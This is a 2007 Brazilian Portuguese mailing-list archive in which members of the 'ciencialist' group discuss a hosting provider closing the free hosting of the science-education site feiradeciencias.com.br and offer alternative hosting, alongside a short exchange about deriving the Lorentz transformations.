Solicitaria, se possível, sua autorização para colocar nessa página a
mensagem que me enviou, para poder, assim, justificar o 'fechamento do
site'.

Meus agradecimentos a toda equipe da Convex,
Meus agradecimentos particular ao Sr. Luiz Gustavo Z. Assis

cordialmente,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Igor C. Escoura
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 22 de agosto de 2007 17:49
Assunto: Site feiradeciencias.com.br


Sr. Luiz Ferraz,



Temos notado que o numero de acessos ao site
www.feriadeciencias.com.br tem aumentado continuamente, causando uma carga
alta em nossos servidores.

Estamos realizando algumas alterações em nossa infra-estrutura
e infelizmente o custo / beneficio do site, o retorno do banner não é
atrativo para a Convex no momento.

Podemos conseguir opções interessantes de hospedagem ASP para
o senhor com alguns parceiros nossos, mas sem a opção de permuta, no caso da
inserção de banner, caso contrário o senhor pode estar migrando o domínio
para qualquer provedor de sua preferência, em um prazo de 15 dias, pois
estaremos desativando este servidor ASP.



Qualquer dúvida entre em contato com nossa central de
atendimento.





Atenciosamente



Igor Escoura





: Engº Igor C. Escoura


: Gerente Técnico

: +55 (16) 2102-1200

: iescoura@convex.com.br





SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/08/2007 10:44

>
>A nova página de abertura do ex-Imperdível,
>participando o ENCERRAMENTO, já está on-line.
>Foi bom enquanto durou! Valeu!
>

Oi Léo, quer um sócio? :-)

Eu trabalho na área e posso ajudar bastante. Tenho hospedagem própria (uma revenda de hospedagem que só uso agora para meus clientes de site), que é bastante robusta e nunca tive problemas. Claro que teria um custo pra mim, mas é pouco, pois revendo, mas uma propaganda do Google discreta já seria suficiente pra pagar (devido ao número de acessos do "Imperdível").

Poderíamos também reformular o site, criar um sistema de publicação fácil de usar, por exemplo, e implementar qualquer idéia que tivermos. Podemos implementar as idéias do Takata também, com a renda toda a seu cargo, pois garanto que só uma pequena propaganda do Google pagará a hospedagem. Enfim, sou programador, posso implementar qualquer idéia no site.

Eis alguns sites que eu fiz ultimamente aqui em São Carlos (alguns sozinho e outros em parceria): http://www.amchidraulica.com.br/, http://www.inbracel.com.br/, http://www.fiochi.com.br/, http://www.comeng.com.br, http://www.deumtoque.com/ (site meu). O "Dê um toque" tem bem menos acessos que o Feira de Ciências (por enquanto :-) e já se paga, paga outra hospedagem que eu tenho (domínio jeff.com.br) e ainda sobra, com propagandas do Google Adsense e do Buscapé. Fiz este site de brincadeira, mas está virando um negócio com o contrato que estou fechando com o portal Vírgula.

Um abraço,
Jeff.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/08/2007 17:00

Léo,

Se eu puder ajudar em alguma coisa, estarei disponível... Aqui na
UFSCar o departamento de informatica é amplo, posso conversar como os
organizadores a respeito de hospedagem etc, talvez eles possm
disponibilizar espaço e estrutura para a publicação...

Desejo cinceramente boa sorte ao grande IMPERDÍVEL

Ricardo.

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
>
> >
> >A nova página de abertura do ex-Imperdível,
> >participando o ENCERRAMENTO, já está on-line.
> >Foi bom enquanto durou! Valeu!
> >
>
> Oi Léo, quer um sócio? :-)
>
> Eu trabalho na área e posso ajudar bastante. Tenho hospedagem
própria (uma revenda de hospedagem que só uso agora para meus clientes
de site), que é bastante robusta e nunca tive problemas. Claro que
teria um custo pra mim, mas é pouco, pois revendo, mas uma propaganda
do Google discreta já seria suficiente pra pagar (devido ao número de
acessos do "Imperdível").
>
> Poderíamos também reformular o site, criar um sistema de publicação
fácil de usar, por exemplo, e implementar qualquer idéia que tivermos.
Podemos implementar as idéias do Takata também, com a renda toda a seu
cargo, pois garanto que só uma pequena propaganda do Google pagará a
hospedagem. Enfim, sou programador, posso implementar qualquer idéia
no site.
>
> Eis alguns sites que eu fiz ultimamente aqui em São Carlos (alguns
sozinho e outros em parceria): http://www.amchidraulica.com.br/,
http://www.inbracel.com.br/, http://www.fiochi.com.br/,
http://www.comeng.com.br, http://www.deumtoque.com/ (site meu). O "Dê
um toque" tem bem menos acessos que o Feira de Ciências (por enquanto
:-) e já se paga, paga outra hospedagem que eu tenho (domínio
jeff.com.br) e ainda sobra, com propagandas do Google Adsense e do
Buscapé. Fiz este site de brincadeira, mas está virando um negócio com
o contrato que estou fechando com o portal Vírgula.
>
> Um abraço,
> Jeff.
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: RES: [ciencialist] Dedução das transformações de Lorentz sem saber que c = c
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/08/2007 17:02

Obrigado Victor,

Vou ler os textos ;)

No que precisar, pode contar ok...

Abraço,

Ricardo



--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
escreveu
>
> Caro Ricardo,
>
>
>
> Há uma maneira de se chegar ao fator gamma usando apenas as equações
do E.M.
>
>
> Há um artigo nessa direção em:
>
> Revista Brasileira de Ensino de Física, Vol.3, nº 3, setembro de 2003,
> autoria de Olívia Ortiz e F.D.Sasse.
>
> O Google lhe remeterá ao site da RBEF e lá você encontrará o que
quer. As
> referências indicadas no artigo são suficientes para uma pesquisa mais
> profunda.
>
> Na verdade, o artigo trata da obtenção da Contratação de Lorentz,
via leis
> de Gaus e Ampere, sem admitir, a priori, a validade dos postulados da
> relatividade.
>
> Boas queimadas de pestanas e algumas contas.
>
>
>
> Sds,
>
> Victor.
>
>
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Ricardo Soares Vieira
> Enviada em: quarta-feira, 22 de agosto de 2007 22:01
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Dedução das transformações de Lorentz sem
saber que c
> = constante
>
>
>
> Olá,
>
> Algúem da lista sabe (ou podera indicar algum livro, página, etc.)
> como se pode deduzir as transformações de Lorentz sem se utilizar do
> fato de a velocidade da luz ser um invariante em referenciais
inerciais?
> Quer dizer, tratar este fato como uma consequência e não como um
> postulado "à priori"?
>
> Desconfio que pelas equações de Maxwell (não pela equação de onda, já
> que daria na mesma se supormos que c'=c e daí deduzirmos as
> transformações), isso seja possível, mas não encontrei algo relacionado.
>
> Se alguém aí souber de algo, por favor, help-me!
>
> abraços,
>
> Ricardo S. Vieira
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/08/2007 19:13

----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Thursday, August 23, 2007 6:18 PM
Subject: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO

> Ainda hoje alterarei a página inicial do site, avisando do
> fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX
> pela gentil hospedagem nesses anos todos de sucesso total, que
> tornou o Feira de Ciências num ícone de Educação Científica na
> Internet.

Lamentável.

Sem dúvida, qualquer empresa de gabarito conseguiria reverter em
dólares o ônus de custear um site de tamanha envergadura e que tantos
benefícios têm trazido para a educação nacional. Faço votos que a
Convex volte atrás nessa medida tresloucada e/ou que os colegas da
Ciencialist consigam visualizar uma luz no fim do tunel afim de que
possamos remediar essa insanidade.

Acabei de mandar uma msg para a "CONVEX INTERNET PROVIDER" nos
seguintes termos:

**********************************
Aos cuidados do Sr. Luiz Gustavo Z. Assis

Meus Pêsames.
Vocês estão sepultando um dos melhores sites educacionais do Brasil.
Quem nasceu para CONVEX jamais chegará a ser uma Google ou uma Yahoo.

Alberto Mesquita Filho
Pro-reitor de Pesquisa e Pós-Graduação da USJT
**********************************

PS: Não gosto de enfatizar minha titulação, mas no caso atual foi
necessário. Para os amigos continuo sendo o rabujento Alberto dos
velhos tempos da Ciencialist.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/08/2007 21:01

Ui! Direto no nariz, hein! Mas valeu.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Alberto Mesquita Filho" <albmesq@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, August 24, 2007 7:13 PM
Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


> ----- Original Message -----
> From: "Luiz Ferraz Netto"
> Sent: Thursday, August 23, 2007 6:18 PM
> Subject: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
>
>> Ainda hoje alterarei a página inicial do site, avisando do
>> fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX
>> pela gentil hospedagem nesses anos todos de sucesso total, que
>> tornou o Feira de Ciências num ícone de Educação Científica na
>> Internet.
>
> Lamentável.
>
> Sem dúvida, qualquer empresa de gabarito conseguiria reverter em
> dólares o ônus de custear um site de tamanha envergadura e que tantos
> benefícios têm trazido para a educação nacional. Faço votos que a
> Convex volte atrás nessa medida tresloucada e/ou que os colegas da
> Ciencialist consigam visualizar uma luz no fim do tunel afim de que
> possamos remediar essa insanidade.
>
> Acabei de mandar uma msg para a "CONVEX INTERNET PROVIDER" nos
> seguintes termos:
>
> **********************************
> Aos cuidados do Sr. Luiz Gustavo Z. Assis
>
> Meus Pêsames.
> Vocês estão sepultando um dos melhores sites educacionais do Brasil.
> Quem nasceu para CONVEX jamais chegará a ser uma Google ou uma Yahoo.
>
> Alberto Mesquita Filho
> Pro-reitor de Pesquisa e Pós-Graduação da USJT
> **********************************
>
> PS: Não gosto de enfatizar minha titulação, mas no caso atual foi
> necessário. Para os amigos continuo sendo o rabujento Alberto dos
> velhos tempos da Ciencialist.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>



SUBJECT: DOUTOR CONSULFONE
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 25/08/2007 21:10



Dr. Alessandro Loiola, M.D.
CRMMG 30.278
Hospital: +55 (31) 3232 0550
Consultório: +55 (31) 3232 0555
Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] Fapesp passa para a Secretaria de Ensino Superior
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/08/2007 00:56

http://g1.globo.com/Noticias/Vestibular/0,,MUL93320-5604,00.html
----------------
[]s,

Roberto Takata



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/08/2007 03:14

Isso é ridículo!

Se o problema for apenas tutu, posso contribuir com alguma coisa para
que o site da Feira de Ciência se mantenha na internet, porém não por
meio desse provedor: CONVEX.

Léo, qual o custo de manutenção do website?

[]'s
Manuel Bulcão
___________________

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Sr. Igor C. Escoura,
>
> muito me entristeceu sua mensagem.
>
> Com média de 50 000 consultas/dia, crescendo acentuadamente,
atendendo a escolas, professores, alunos, técnicos, engenheiros,
faculdades, universidades, hobbystas e curiosos, com um cabedal
científico respeitável, o site terá que sair do 'ar', pois não tenho
condições financeiras para arcar com alguma hospedagem paga.
>
> Ainda hoje alterarei a página inicial do site, avisando do
fechamento dentro de 15 dias e colocarei os agradecimentos à CONVEX
pela gentil hospedagem nesses anos todos de sucesso total, que tornou
o Feira de Ciências num ícone de Educação Científica na Internet.
>
> Solicitaria, se possível, sua autorização para colocar nessa página
a mensagem que me enviou, para poder, assim, justificar o 'fechamento
do site'.
>
> Meus agradecimentos a toda equipe da Convex,
> Meus agradecimentos particular ao Sr. Luiz Gustavo Z. Assis
>
> cordialmente,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Igor C. Escoura
> Para: leobarretos@...
> Enviada em: quarta-feira, 22 de agosto de 2007 17:49
> Assunto: Site feiradeciencias.com.br
>
>
> Sr. Luiz Ferraz,
>
>
>
> Temos notado que o numero de acessos ao site
www.feriadeciencias.com.br tem aumentado continuamente, causando uma
carga alta em nossos servidores.
>
> Estamos realizando algumas alterações em nossa infra-
estrutura e infelizmente o custo / beneficio do site, o retorno do
banner não é atrativo para a Convex no momento.
>
> Podemos conseguir opções interessantes de hospedagem
ASP para o senhor com alguns parceiros nossos, mas sem a opção de
permuta, no caso da inserção de banner, caso contrário o senhor pode
estar migrando o domínio para qualquer provedor de sua preferência,
em um prazo de 15 dias, pois estaremos desativando este servidor ASP.
>
>
>
> Qualquer dúvida entre em contato com nossa central de
atendimento.
>
>
>
>
>
> Atenciosamente
>
>
>
> Igor Escoura
>
>
>
>
>
> : Engº Igor C. Escoura
>
>
> : Gerente Técnico
>
> : +55 (16) 2102-1200
>
> : iescoura@...




SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/08/2007 18:43

Olá Ricardo,

aceito de bom gosto a hospedagem pela UFSCAR. Se necessário uma 'ajuda', tente com a Dra.Ducinei do Depto de Física.
Tente ... e retorne. Eis alguns dados que poderão ser úteis:

O site tem sido hospedado pela Convex Internet Provider, de Ribeirão Preto - SP, desde sua inauguração oficial em 1999. Desde 1999, estou no terceiro "contador", os dois primeiros somam 60 milhões de consultas e o último, on-line, acusa raspando mais 40 milhões. Assim, beiramos o 100 milhões de consultas às páginas do site.

A situação atual do site é a seguinte:
a) mínimo de 50 000 consultas/dia --- deve atingir pico de 80 000 em setembro e cerca de 100 000/dia em outubro e novembro (maior incidência de feiras de ciências escolares).
b) tráfego entre 10 e 15 Gb (essa informação é imprecisa)
c) espaço em disco entre 170 e 270M (o sistema PLESH da convex acusa 245M e consigo gravar o site em CD com 170M).

O tráfego está afetando todo o provedor (Convex), e por isso decidiram 'fechar a plataforma .asp' em 15 dias (segundo a mensagem que me enviaram na última 5. feira).

A decisão imediata que tomei é:
1) avisar os consulentes do fechamento do site e o encerramento progressivo das salas;
2) providenciar o fechamento físico do site e um bom backup


No aguardo,

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 24 de agosto de 2007 17:00
Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Léo,

Se eu puder ajudar em alguma coisa, estarei disponível... Aqui na
UFSCar o departamento de informatica é amplo, posso conversar como os
organizadores a respeito de hospedagem etc, talvez eles possm
disponibilizar espaço e estrutura para a publicação...

Desejo cinceramente boa sorte ao grande IMPERDÍVEL

Ricardo.

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
>
> >
> >A nova página de abertura do ex-Imperdível,
> >participando o ENCERRAMENTO, já está on-line.
> >Foi bom enquanto durou! Valeu!
> >
>
> Oi Léo, quer um sócio? :-)
>
> Eu trabalho na área e posso ajudar bastante. Tenho hospedagem
própria (uma revenda de hospedagem que só uso agora para meus clientes
de site), que é bastante robusta e nunca tive problemas. Claro que
teria um custo pra mim, mas é pouco, pois revendo, mas uma propaganda
do Google discreta já seria suficiente pra pagar (devido ao número de
acessos do "Imperdível").
>
> Poderíamos também reformular o site, criar um sistema de publicação
fácil de usar, por exemplo, e implementar qualquer idéia que tivermos.
Podemos implementar as idéias do Takata também, com a renda toda a seu
cargo, pois garanto que só uma pequena propaganda do Google pagará a
hospedagem. Enfim, sou programador, posso implementar qualquer idéia
no site.
>
> Eis alguns sites que eu fiz ultimamente aqui em São Carlos (alguns
sozinho e outros em parceria): http://www.amchidraulica.com.br/,
http://www.inbracel.com.br/, http://www.fiochi.com.br/,
http://www.comeng.com.br, http://www.deumtoque.com/ (site meu). O "Dê
um toque" tem bem menos acessos que o Feira de Ciências (por enquanto
:-) e já se paga, paga outra hospedagem que eu tenho (domínio
jeff.com.br) e ainda sobra, com propagandas do Google Adsense e do
Buscapé. Fiz este site de brincadeira, mas está virando um negócio com
o contrato que estou fechando com o portal Vírgula.
>
> Um abraço,
> Jeff.
>
> [As partes desta mensagem que não continham texto foram removidas]
>




##### ##### #####

Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos




--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.484 / Virus Database: 269.12.2/967 - Release Date: 22/08/2007 18:51




SUBJECT: RE: [ciencialist] DOUTOR CONSULFONE
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/08/2007 18:47


Cadê a msg, Mr '''Jack The Ripper''?
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/08/2007 18:52

Manuel Bulcão pergunta:

>Léo, qual o custo de manutenção do website?<

Bem Bulcão, com provedor gratuito a manutenção é ZERO!

Speed, telefônica, registro.br, 12 horas de trabalho diário, livros, consultas, horas e horas de sono, luz etc., eu cubro com todo bom gosto e o site continuaria sem qqer propaganda e LIMPO!

[]'s

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 26 de agosto de 2007 03:14
Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Isso é ridículo!




SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/08/2007 19:06

Metendo meu bedelho na questao. :-)

Se for hospedado pela Ufscar NAO aceite entrar como um simples
diretorio. Alguns arcaicos academicos ainda usam coisas do tipo...

http://www.ufscar.br/deptoft/ftcnppt/usuarios/~luiz.ferraz.netto/site/feiradeciencias

hehe
Isso acaba com qualquer site. Ninguem consegue lembrar do endereco.

Tambem deve exigir autonomia. Alguns tem burocracias pra aprovacao de
material que vai online. Reuniao disso e daquilo.
Deve exigir ter controle simples e direto do FTP, com liberdade pra
apagar e mudar arquivos a hora que quiser.

Sei que cavalo dado nao se olha os dentes, mas eh bom estar preparado.

Boa sorte na nova moradia.

Ateh
Luis Brudna


=-=-=
On 8/26/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Olá Ricardo,
>
> aceito de bom gosto a hospedagem pela UFSCAR. Se necessário uma 'ajuda', tente com a Dra.Ducinei do Depto de Física.
> Tente ... e retorne. Eis alguns dados que poderão ser úteis:
>
> O site tem sido hospedado pela Convex Internet Provider, de Ribeirão Preto - SP, desde sua inauguração oficial em 1999. Desde 1999, estou no terceiro "contador", os dois primeiros somam 60 milhões de consultas e o último, on-line, acusa raspando mais 40 milhões. Assim, beiramos o 100 milhões de consultas às páginas do site.
>
> A situação atual do site é a seguinte:
> a) mínimo de 50 000 consultas/dia --- deve atingir pico de 80 000 em setembro e cerca de 100 000/dia em outubro e novembro (maior incidência de feiras de ciências escolares).
> b) tráfego entre 10 e 15 Gb (essa informação é imprecisa)
> c) espaço em disco entre 170 e 270M (o sistema PLESH da convex acusa 245M e consigo gravar o site em CD com 170M).
>
> O tráfego está afetando todo o provedor (Convex), e por isso decidiram 'fechar a plataforma .asp' em 15 dias (segundo a mensagem que me enviaram na última 5. feira).
>
> A decisão imediata que tomei é:
> 1) avisar os consulentes do fechamento do site e o encerramento progressivo das salas;
> 2) providenciar o fechamento físico do site e um bom backup
>
> No aguardo,
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 24 de agosto de 2007 17:00
> Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
>
>
> Léo,
>
> Se eu puder ajudar em alguma coisa, estarei disponível... Aqui na
> UFSCar o departamento de informatica é amplo, posso conversar como os
> organizadores a respeito de hospedagem etc, talvez eles possm
> disponibilizar espaço e estrutura para a publicação...
>
> Desejo cinceramente boa sorte ao grande IMPERDÍVEL
>
> Ricardo.
>
> --- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> >
> > >
> > >A nova página de abertura do ex-Imperdível,
> > >participando o ENCERRAMENTO, já está on-line.
> > >Foi bom enquanto durou! Valeu!
> > >
> >
> > Oi Léo, quer um sócio? :-)
> >
> > Eu trabalho na área e posso ajudar bastante. Tenho hospedagem
> própria (uma revenda de hospedagem que só uso agora para meus clientes
> de site), que é bastante robusta e nunca tive problemas. Claro que
> teria um custo pra mim, mas é pouco, pois revendo, mas uma propaganda
> do Google discreta já seria suficiente pra pagar (devido ao número de
> acessos do "Imperdível").
> >
> > Poderíamos também reformular o site, criar um sistema de publicação
> fácil de usar, por exemplo, e implementar qualquer idéia que tivermos.
> Podemos implementar as idéias do Takata também, com a renda toda a seu
> cargo, pois garanto que só uma pequena propaganda do Google pagará a
> hospedagem. Enfim, sou programador, posso implementar qualquer idéia
> no site.
> >
> > Eis alguns sites que eu fiz ultimamente aqui em São Carlos (alguns
> sozinho e outros em parceria): http://www.amchidraulica.com.br/,
> http://www.inbracel.com.br/, http://www.fiochi.com.br/,
> http://www.comeng.com.br, http://www.deumtoque.com/ (site meu). O "Dê
> um toque" tem bem menos acessos que o Feira de Ciências (por enquanto
> :-) e já se paga, paga outra hospedagem que eu tenho (domínio
> jeff.com.br) e ainda sobra, com propagandas do Google Adsense e do
> Buscapé. Fiz este site de brincadeira, mas está virando um negócio com
> o contrato que estou fechando com o portal Vírgula.
> >
> > Um abraço,
> > Jeff.
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
>


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/08/2007 19:15

Sem dúvida Brudna ... isso é o mínimo que eu aceitaria!
Diretório: feiradeciencias
FTP direto (sem intermediários), volume do site e volume de tráfego LIVRES. E, de preferência, programa de bloqueio de vírus! (A convex não tem isso! ainda hoje tive que alterar o index da página principal pois já estava com vírus! --- um vírus bobo, mas estava lá!)
Não vai ser fácil!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 26 de agosto de 2007 19:06
Assunto: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Metendo meu bedelho na questao. :-)

Se for hospedado pela Ufscar NAO aceite entrar como um simples
diretorio. Alguns arcaicos academicos ainda usam coisas do tipo...

http://www.ufscar.br/deptoft/ftcnppt/usuarios/~luiz.ferraz.netto/site/feiradeciencias

hehe
Isso acaba com qualquer site. Ninguem consegue lembrar do endereco.

Tambem deve exigir autonomia. Alguns tem burocracias pra aprovacao de
material que vai online. Reuniao disso e daquilo.
Deve exigir ter controle simples e direto do FTP, com liberdade pra
apagar e mudar arquivos a hora que quiser.

Sei que cavalo dado nao se olha os dentes, mas eh bom estar preparado.

Boa sorte na nova moradia.

Ateh
Luis Brudna


=-=-=
On 8/26/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Olá Ricardo,
>
> aceito de bom gosto a hospedagem pela UFSCAR. Se necessário uma 'ajuda', tente com a Dra.Ducinei do Depto de Física.
> Tente ... e retorne. Eis alguns dados que poderão ser úteis:
>
> O site tem sido hospedado pela Convex Internet Provider, de Ribeirão Preto - SP, desde sua inauguração oficial em 1999. Desde 1999, estou no terceiro "contador", os dois primeiros somam 60 milhões de consultas e o último, on-line, acusa raspando mais 40 milhões. Assim, beiramos o 100 milhões de consultas às páginas do site.
>
> A situação atual do site é a seguinte:
> a) mínimo de 50 000 consultas/dia --- deve atingir pico de 80 000 em setembro e cerca de 100 000/dia em outubro e novembro (maior incidência de feiras de ciências escolares).
> b) tráfego entre 10 e 15 Gb (essa informação é imprecisa)
> c) espaço em disco entre 170 e 270M (o sistema PLESH da convex acusa 245M e consigo gravar o site em CD com 170M).
>
> O tráfego está afetando todo o provedor (Convex), e por isso decidiram 'fechar a plataforma .asp' em 15 dias (segundo a mensagem que me enviaram na última 5. feira).
>
> A decisão imediata que tomei é:
> 1) avisar os consulentes do fechamento do site e o encerramento progressivo das salas;
> 2) providenciar o fechamento físico do site e um bom backup
>
> No aguardo,
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/08/2007 19:33

Olá Brudna
e demais que queiram 'ver' as estatísticas reais desse contador e reportagem da Convex (PLESH):

http://www.feiradeciencias.com.br/plesk%2Dstat/webstat/


eu não entendo absolutamente nada disso e nem sei interpretar esses dados!
O que interessaria para responder algumas questões (inclusive para o Takata) é o 'real' volume de tráfego; tem isso nesses dados? Baseado numa mensagem antiga (2005) eu 'chutaria' que o tráfego atual está entre 10 e 15 Gb ... puro chute!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 26 de agosto de 2007 19:06
Assunto: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Metendo meu bedelho na questao. :-)

Se for hospedado pela Ufscar NAO aceite entrar como um simples
diretorio. Alguns arcaicos academicos ainda usam coisas do tipo...

http://www.ufscar.br/deptoft/ftcnppt/usuarios/~luiz.ferraz.netto/site/feiradeciencias

hehe
Isso acaba com qualquer site. Ninguem consegue lembrar do endereco.

Tambem deve exigir autonomia. Alguns tem burocracias pra aprovacao de
material que vai online. Reuniao disso e daquilo.
Deve exigir ter controle simples e direto do FTP, com liberdade pra
apagar e mudar arquivos a hora que quiser.

Sei que cavalo dado nao se olha os dentes, mas eh bom estar preparado.

Boa sorte na nova moradia.

Ateh
Luis Brudna


=-=-=
On 8/26/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Olá Ricardo,
>
> aceito de bom gosto a hospedagem pela UFSCAR. Se necessário uma 'ajuda', tente com a Dra.Ducinei do Depto de Física.
> Tente ... e retorne. Eis alguns dados que poderão ser úteis:
>
> O site tem sido hospedado pela Convex Internet Provider, de Ribeirão Preto - SP, desde sua inauguração oficial em 1999. Desde 1999, estou no terceiro "contador", os dois primeiros somam 60 milhões de consultas e o último, on-line, acusa raspando mais 40 milhões. Assim, beiramos o 100 milhões de consultas às páginas do site.
>
> A situação atual do site é a seguinte:
> a) mínimo de 50 000 consultas/dia --- deve atingir pico de 80 000 em setembro e cerca de 100 000/dia em outubro e novembro (maior incidência de feiras de ciências escolares).
> b) tráfego entre 10 e 15 Gb (essa informação é imprecisa)
> c) espaço em disco entre 170 e 270M (o sistema PLESH da convex acusa 245M e consigo gravar o site em CD com 170M).
>
> O tráfego está afetando todo o provedor (Convex), e por isso decidiram 'fechar a plataforma .asp' em 15 dias (segundo a mensagem que me enviaram na última 5. feira).
>
> A decisão imediata que tomei é:
> 1) avisar os consulentes do fechamento do site e o encerramento progressivo das salas;
> 2) providenciar o fechamento físico do site e um bom backup
>
> No aguardo,
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 24 de agosto de 2007 17:00
> Assunto: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
>
>
> Léo,
>
> Se eu puder ajudar em alguma coisa, estarei disponível... Aqui na
